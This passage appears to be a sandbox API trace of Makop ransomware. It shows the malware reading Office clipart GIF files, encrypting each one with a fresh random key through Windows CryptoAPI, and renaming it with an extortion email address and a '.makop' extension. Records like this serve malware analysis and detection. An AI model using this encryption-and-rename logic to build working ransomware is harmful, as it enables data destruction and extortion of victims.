lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x6b0, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6576028*=0x6b0, lpOverlapped=0x0) returned 1 [0155.889] CryptDestroyKey (hKey=0x48c7168) returned 1 [0155.889] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x784, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.890] SetEndOfFile (hFile=0x130) returned 1 [0155.900] GetProcessHeap () returned 0x48a0000 [0155.900] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0155.900] GetProcessHeap () returned 0x48a0000 [0155.900] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0155.900] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143754.GIF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 123 [0155.900] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143754.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\j0143754.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143754.GIF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\j0143754.gif.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0155.902] CloseHandle (hObject=0x130) returned 1 [0155.902] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc8b07a00, ftCreationTime.dwHighDateTime=0x1bd9b11, ftLastAccessTime.dwLowDateTime=0x56406370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc8b07a00, ftLastWriteTime.dwHighDateTime=0x1bd9b11, nFileSizeHigh=0x0, nFileSizeLow=0x69f, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0143758.GIF", cAlternateFileName="")) returned 1 [0155.903] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143758.GIF") returned 76 [0155.903] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143758.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\j0143758.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0155.905] GetProcessHeap () returned 0x48a0000 [0155.905] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0155.905] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0155.905] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576048 | out: lpNewFilePointer=0x0) returned 1 [0155.905] WriteFile (in: hFile=0x130, lpBuffer=0x6576058*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576058*, lpNumberOfBytesWritten=0x6576028*=0x1, lpOverlapped=0x0) returned 1 [0155.909] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0155.909] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0155.910] GetProcessHeap () returned 0x48a0000 [0155.910] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0155.910] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6576010*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6576010*=0x40) returned 1 [0155.910] CryptDestroyKey (hKey=0x48c7168) returned 1 [0155.910] WriteFile (in: hFile=0x130, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6576028*=0x40, lpOverlapped=0x0) returned 1 [0155.910] WriteFile (in: hFile=0x130, lpBuffer=0x6576030*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576030*, lpNumberOfBytesWritten=0x6576028*=0x4, lpOverlapped=0x0) returned 1 [0155.910] WriteFile (in: hFile=0x130, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6576028*=0x10, lpOverlapped=0x0) returned 1 [0155.910] WriteFile (in: hFile=0x130, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6576028*=0x80, lpOverlapped=0x0) returned 1 [0155.911] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576050 | out: lpNewFilePointer=0x0) returned 1 [0155.911] WriteFile (in: hFile=0x130, lpBuffer=0x6576040*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576040*, lpNumberOfBytesWritten=0x6576028*=0x8, lpOverlapped=0x0) returned 1 [0155.911] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0155.911] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0155.911] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.911] ReadFile (in: hFile=0x130, lpBuffer=0x6370020, nNumberOfBytesToRead=0x69f, lpNumberOfBytesRead=0x6576034, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6576034*=0x69f, lpOverlapped=0x0) returned 1 [0155.911] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6576010*=0x6a0, dwBufLen=0x6a0 | out: pbData=0x6370020*, pdwDataLen=0x6576010*=0x6a0) returned 1 [0155.912] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.912] WriteFile (in: hFile=0x130, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x6a0, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6576028*=0x6a0, lpOverlapped=0x0) returned 1 [0155.912] CryptDestroyKey (hKey=0x48c7168) returned 1 [0155.912] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x774, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.912] SetEndOfFile (hFile=0x130) returned 1 [0155.920] GetProcessHeap () returned 0x48a0000 [0155.920] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0155.920] GetProcessHeap () returned 0x48a0000 [0155.920] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0155.920] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143758.GIF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 123 [0155.920] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143758.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\j0143758.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143758.GIF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\j0143758.gif.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0155.926] CloseHandle (hObject=0x130) returned 1 [0155.926] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x70875130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x124a, dwReserved0=0x0, dwReserved1=0x0, cFileName="WB00516L.GIF", cAlternateFileName="")) returned 1 [0155.926] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB00516L.GIF") returned 76 [0155.926] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB00516L.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb00516l.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0155.927] GetProcessHeap () returned 0x48a0000 [0155.927] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0155.928] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0155.928] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576048 | out: lpNewFilePointer=0x0) returned 1 [0155.928] WriteFile (in: hFile=0x130, lpBuffer=0x6576058*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576058*, lpNumberOfBytesWritten=0x6576028*=0x6, lpOverlapped=0x0) returned 1 [0155.932] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0155.932] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0155.932] GetProcessHeap () returned 0x48a0000 [0155.932] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0155.932] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6576010*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6576010*=0x40) returned 1 [0155.932] CryptDestroyKey (hKey=0x48c7168) returned 1 [0155.933] WriteFile (in: hFile=0x130, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6576028*=0x40, lpOverlapped=0x0) returned 1 [0155.933] WriteFile (in: hFile=0x130, lpBuffer=0x6576030*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576030*, lpNumberOfBytesWritten=0x6576028*=0x4, lpOverlapped=0x0) returned 1 [0155.933] WriteFile (in: hFile=0x130, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6576028*=0x10, lpOverlapped=0x0) returned 1 [0155.933] WriteFile (in: hFile=0x130, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6576028*=0x80, lpOverlapped=0x0) returned 1 [0155.933] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576050 | out: lpNewFilePointer=0x0) returned 1 [0155.933] WriteFile (in: hFile=0x130, lpBuffer=0x6576040*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576040*, lpNumberOfBytesWritten=0x6576028*=0x8, lpOverlapped=0x0) returned 1 [0155.934] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0155.934] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0155.934] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.934] ReadFile (in: hFile=0x130, lpBuffer=0x6370020, nNumberOfBytesToRead=0x124a, lpNumberOfBytesRead=0x6576034, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6576034*=0x124a, lpOverlapped=0x0) returned 1 [0155.935] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6576010*=0x1250, dwBufLen=0x1250 | out: pbData=0x6370020*, pdwDataLen=0x6576010*=0x1250) returned 1 [0155.936] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.936] WriteFile (in: hFile=0x130, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x1250, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6576028*=0x1250, lpOverlapped=0x0) returned 1 [0155.936] CryptDestroyKey (hKey=0x48c7168) returned 1 [0155.936] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1324, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.936] SetEndOfFile (hFile=0x130) returned 1 [0155.943] GetProcessHeap () returned 0x48a0000 [0155.943] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0155.943] GetProcessHeap () returned 0x48a0000 [0155.943] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0155.943] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB00516L.GIF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 123 [0155.943] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB00516L.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb00516l.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB00516L.GIF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb00516l.gif.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0155.945] CloseHandle (hObject=0x130) returned 1 [0155.945] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x5e574fb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x2017, dwReserved0=0x0, dwReserved1=0x0, cFileName="WB00531L.GIF", cAlternateFileName="")) returned 1 [0155.945] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB00531L.GIF") returned 76 [0155.945] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB00531L.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb00531l.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0155.946] GetProcessHeap () returned 0x48a0000 [0155.946] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0155.946] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0155.947] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576048 | out: lpNewFilePointer=0x0) returned 1 [0155.947] WriteFile (in: hFile=0x130, lpBuffer=0x6576058*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576058*, lpNumberOfBytesWritten=0x6576028*=0x9, lpOverlapped=0x0) returned 1 [0155.951] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0155.951] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0155.951] GetProcessHeap () returned 0x48a0000 [0155.951] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0155.952] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6576010*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6576010*=0x40) returned 1 [0155.952] CryptDestroyKey (hKey=0x48c7168) returned 1 [0155.952] WriteFile (in: hFile=0x130, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6576028*=0x40, lpOverlapped=0x0) returned 1 [0155.952] WriteFile (in: hFile=0x130, lpBuffer=0x6576030*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576030*, lpNumberOfBytesWritten=0x6576028*=0x4, lpOverlapped=0x0) returned 1 [0155.952] WriteFile (in: hFile=0x130, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6576028*=0x10, lpOverlapped=0x0) returned 1 [0155.952] WriteFile (in: hFile=0x130, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6576028*=0x80, lpOverlapped=0x0) returned 1 [0155.952] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576050 | out: lpNewFilePointer=0x0) returned 1 [0155.953] WriteFile (in: hFile=0x130, lpBuffer=0x6576040*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576040*, lpNumberOfBytesWritten=0x6576028*=0x8, lpOverlapped=0x0) returned 1 [0155.953] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0155.953] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0155.953] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.953] ReadFile (in: hFile=0x130, lpBuffer=0x6370020, nNumberOfBytesToRead=0x2017, lpNumberOfBytesRead=0x6576034, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6576034*=0x2017, lpOverlapped=0x0) returned 1 [0155.955] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6576010*=0x2020, dwBufLen=0x2020 | out: pbData=0x6370020*, pdwDataLen=0x6576010*=0x2020) returned 1 [0155.955] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.955] WriteFile (in: hFile=0x130, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x2020, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6576028*=0x2020, lpOverlapped=0x0) returned 1 [0155.955] CryptDestroyKey (hKey=0x48c7168) returned 1 [0155.955] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x20f4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.955] SetEndOfFile (hFile=0x130) returned 1 [0155.963] GetProcessHeap () returned 0x48a0000 [0155.963] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0155.963] GetProcessHeap () returned 0x48a0000 [0155.963] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0155.963] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB00531L.GIF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 123 [0155.963] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB00531L.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb00531l.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB00531L.GIF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb00531l.gif.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0155.965] CloseHandle (hObject=0x130) returned 1 [0155.965] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x5e574fb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x20ee, dwReserved0=0x0, dwReserved1=0x0, cFileName="WB00673L.GIF", cAlternateFileName="")) returned 1 [0155.965] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB00673L.GIF") returned 76 [0155.965] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB00673L.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb00673l.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0155.967] GetProcessHeap () returned 0x48a0000 [0155.967] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0155.967] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0155.967] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576048 | out: lpNewFilePointer=0x0) returned 1 [0155.968] WriteFile (in: hFile=0x130, lpBuffer=0x6576058*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576058*, lpNumberOfBytesWritten=0x6576028*=0x2, lpOverlapped=0x0) returned 1 [0155.972] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0155.972] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0155.972] GetProcessHeap () returned 0x48a0000 [0155.972] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0155.972] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6576010*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6576010*=0x40) returned 1 [0155.972] CryptDestroyKey (hKey=0x48c7168) returned 1 [0155.972] WriteFile (in: hFile=0x130, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6576028*=0x40, lpOverlapped=0x0) returned 1 [0155.973] WriteFile (in: hFile=0x130, lpBuffer=0x6576030*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576030*, lpNumberOfBytesWritten=0x6576028*=0x4, lpOverlapped=0x0) returned 1 [0155.973] WriteFile (in: hFile=0x130, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6576028*=0x10, lpOverlapped=0x0) returned 1 [0155.973] WriteFile (in: hFile=0x130, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6576028*=0x80, lpOverlapped=0x0) returned 1 [0155.973] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576050 | out: lpNewFilePointer=0x0) returned 1 [0155.973] WriteFile (in: hFile=0x130, lpBuffer=0x6576040*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576040*, lpNumberOfBytesWritten=0x6576028*=0x8, lpOverlapped=0x0) returned 1 [0155.973] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0155.973] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0155.974] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.974] ReadFile (in: hFile=0x130, lpBuffer=0x6370020, nNumberOfBytesToRead=0x20ee, lpNumberOfBytesRead=0x6576034, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, 